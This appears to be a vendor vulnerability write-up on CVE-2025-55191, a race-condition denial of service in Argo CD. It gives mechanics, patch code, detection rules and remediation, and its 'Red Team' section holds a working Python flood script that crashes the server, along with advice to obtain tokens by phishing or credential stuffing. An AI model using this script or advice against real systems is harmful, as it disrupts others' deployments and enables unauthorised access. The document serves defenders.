CVE-2025-55191
Executive Summary
CVE-2025-55191 is a high-severity denial-of-service (DoS) vulnerability in Argo CD, a popular GitOps continuous delivery tool for Kubernetes. The flaw resides in the repository credentials handler within util/db/repository_secrets.go. A race condition occurs when concurrent operations (create, update, or delete) are performed on the same repository URL, leading to a nil pointer dereference or data race that causes the Argo CD API server to panic and crash. An attacker with a valid API token and repositories resource permissions can repeatedly trigger this condition, maintaining a persistent denial-of-service state that disrupts all GitOps operations. The vulnerability affects versions 2.1.0 through 2.14.19, 3.0.0-rc1 through 3.0.18, 3.1.0-rc1 through 3.1.7, and 3.2.0-rc1. Patches are available in versions 2.14.20, 3.0.19, 3.1.8, and 3.2.0-rc2.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Argo CD is distributed as a Go binary and container image. The vulnerability is in the core server code, not in a third-party package. However, organizations using Argo CD as part of their CI/CD pipeline should treat this as a critical supply chain risk: an attacker who can crash the Argo CD server can halt all deployments, potentially causing cascading failures in downstream services. Ensure that Argo CD components are sourced from official releases and that container images are scanned for known vulnerabilities.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
- Attack Vector: Network (AV:N) – exploitable remotely.
- Attack Complexity: Low (AC:L) – no special conditions required beyond concurrent requests.
- Privileges Required: Low (PR:L) – attacker needs a valid API token with
repositoriesresource permissions. - User Interaction: None (UI:N) – no user action needed.
- Scope: Unchanged (S:U) – impact is confined to the vulnerable component.
- Confidentiality Impact: None (C:N) – no data exposure.
- Integrity Impact: None (I:N) – no data modification.
- Availability Impact: High (A:H) – server crash leads to total loss of availability.
- Threat Level: Medium – requires authenticated access but can cause significant operational disruption.
Deep Dive & Mechanics
The vulnerability is a classic race condition (CWE-362) in the repository credentials handler. The core issue is in the util/db/repository_secrets.go file, where multiple goroutines can concurrently access and modify shared data structures (e.g., maps or slices holding repository credentials) without proper synchronization.
When an attacker sends concurrent API requests to create, update, or delete repository credentials for the same repository URL, the following sequence can occur:
- Read-Write Race: Two goroutines read the same credential entry simultaneously. One goroutine then deletes the entry, while the other attempts to update it. The update operation operates on a nil or stale pointer, causing a panic.
- Write-Write Race: Two goroutines attempt to update the same credential entry concurrently. The second write may overwrite the first in an inconsistent state, leading to a corrupted data structure that triggers a panic on subsequent access.
- Delete-Delete Race: Two goroutines attempt to delete the same entry. The second delete may attempt to remove an already-removed key from a map, causing a runtime panic.
The panic is not recovered, causing the entire Argo CD API server process to crash. Since the server is typically deployed as a single pod or deployment, this results in a complete denial of service for all GitOps operations (syncs, app creation, etc.).
The fix involves adding mutex locks (e.g., sync.Mutex or sync.RWMutex) around all critical sections that read or modify the repository credentials store. This ensures that only one goroutine can access the shared state at a time, preventing the race condition.
Vulnerable vs. Patched Code
Vulnerable Code (simplified from util/db/repository_secrets.go):
// Vulnerable: no synchronization
func (s *RepositorySecrets) Update(url string, creds Credentials) error {
// Direct map access without lock
s.secrets[url] = creds
return nil
}
func (s *RepositorySecrets) Delete(url string) error {
// Direct map deletion without lock
delete(s.secrets, url)
return nil
}
Patched Code:
// Patched: mutex added
type RepositorySecrets struct {
mu sync.RWMutex
secrets map[string]Credentials
}
func (s *RepositorySecrets) Update(url string, creds Credentials) error {
s.mu.Lock()
defer s.mu.Unlock()
s.secrets[url] = creds
return nil
}
func (s *RepositorySecrets) Delete(url string) error {
s.mu.Lock()
defer s.mu.Unlock()
delete(s.secrets, url)
return nil
}
The patch ensures that all write operations are serialized, and read operations (if any) use RLock to allow concurrent reads while preventing writes.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Valid API token with
repositoriescreate, update, and delete permissions. - Network access to the Argo CD API server (typically port 443 or 8080).
Exploitation Steps:
- Identify Target: Use Shodan or manual reconnaissance to find Argo CD instances. Look for login pages or API endpoints like
/api/v1/. - Obtain Token: If not already compromised, use phishing, credential stuffing, or other methods to obtain a valid API token.
- Craft Concurrent Requests: Use a tool like
curlwith parallel execution or a Python script to send multiple concurrent requests to the same repository URL.
Example Python Exploit Script:
import requests
import concurrent.futures
import threading
target = "https://argo-cd.example.com"
token = "your_api_token_here"
repo_url = "https://github.com/attacker/repo.git"
headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
# Create payloads for create, update, delete
create_payload = {
"url": repo_url,
"username": "attacker",
"password": "password"
}
update_payload = {
"url": repo_url,
"username": "attacker2",
"password": "newpassword"
}
def create_repo():
requests.post(f"{target}/api/v1/repositories", json=create_payload, headers=headers, verify=False)
def update_repo():
requests.put(f"{target}/api/v1/repositories/{repo_url}", json=update_payload, headers=headers, verify=False)
def delete_repo():
requests.delete(f"{target}/api/v1/repositories/{repo_url}", headers=headers, verify=False)
# Launch concurrent threads
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
futures = []
for _ in range(100):
futures.append(executor.submit(create_repo))
futures.append(executor.submit(update_repo))
futures.append(executor.submit(delete_repo))
concurrent.futures.wait(futures)
Expected Outcome: The Argo CD server crashes, returning connection errors or timeouts. Repeated execution maintains the DoS state.
Blue Team
Detection:
- Monitor API logs for a high volume of
POST,PUT,DELETErequests to/api/v1/repositoriesfrom the same IP or token within a short time window. - Look for server crash events (e.g., container restarts, process exits) correlated with repository credential operations.
Mitigation:
- Immediately upgrade to a patched version (2.14.20, 3.0.19, 3.1.8, or 3.2.0-rc2).
- If patching is not possible, restrict
repositoriesresource permissions to only trusted users and service accounts. - Implement rate limiting on API endpoints to reduce the feasibility of concurrent request floods.
- Use a Web Application Firewall (WAF) to detect and block anomalous request patterns.
Hunting:
- Search for logs containing
panic,nil pointer, orracein Argo CD server logs. - Check for sudden increases in API response times or error rates (5xx status codes).
Indicators of Compromise (IOCs)
- Network: Multiple concurrent HTTP requests to
/api/v1/repositorieswith the same repository URL. - Logs: Argo CD server logs showing
panic: runtime error: invalid memory address or nil pointer dereferenceorfatal error: concurrent map writes. - System: Unexpected restarts of the Argo CD API server pod or container.
- File: No specific file-based IOCs; the vulnerability is memory-based.
Detection Engineering
YARA Rule
rule CVE_2025_55191_ArgoCD_RaceCondition {
meta:
description = "Detects potential exploitation of CVE-2025-55191 in Argo CD logs"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-55191"
strings:
$panic1 = "panic: runtime error: invalid memory address or nil pointer dereference" ascii
$panic2 = "fatal error: concurrent map writes" ascii
$panic3 = "panic: runtime error: index out of range" ascii
$repo_op = "/api/v1/repositories" ascii
condition:
any of ($panic*) and $repo_op
}
Sigma Rule
title: Argo CD Repository Credentials Race Condition DoS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects multiple concurrent repository credential operations that may indicate exploitation of CVE-2025-55191
author: Valters IT
date: 2025/04/10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-55191
logsource:
product: argo-cd
service: server
detection:
selection:
http_method:
- 'POST'
- 'PUT'
- 'DELETE'
http_path: '/api/v1/repositories/*'
condition: selection | count() by src_ip, user_agent > 50 within 1m
falsepositives:
- Legitimate bulk repository operations by administrators
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-55191 Argo CD Repository Credentials Race Condition DoS"; flow:to_server; content:"/api/v1/repositories"; http_uri; pcre:"/(POST|PUT|DELETE)/i"; threshold: type both, track by_src, count 50, seconds 60; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Patch: Upgrade Argo CD to version 2.14.20, 3.0.19, 3.1.8, or 3.2.0-rc2 (or later). These versions include the fix for the race condition.
- Access Control: Review and restrict API tokens that have
repositoriescreate, update, or delete permissions. Use the principle of least privilege. - Rate Limiting: Implement API rate limiting at the reverse proxy or ingress level to limit the number of concurrent requests per user/IP.
- Monitoring: Enable detailed logging for repository credential operations and set up alerts for high-frequency requests.
- Backup & Redundancy: Deploy multiple Argo CD server replicas behind a load balancer to mitigate the impact of a single server crash.
- Incident Response: If exploitation is suspected, revoke all API tokens and rotate credentials. Investigate logs for any unauthorized repository changes.
Valters IT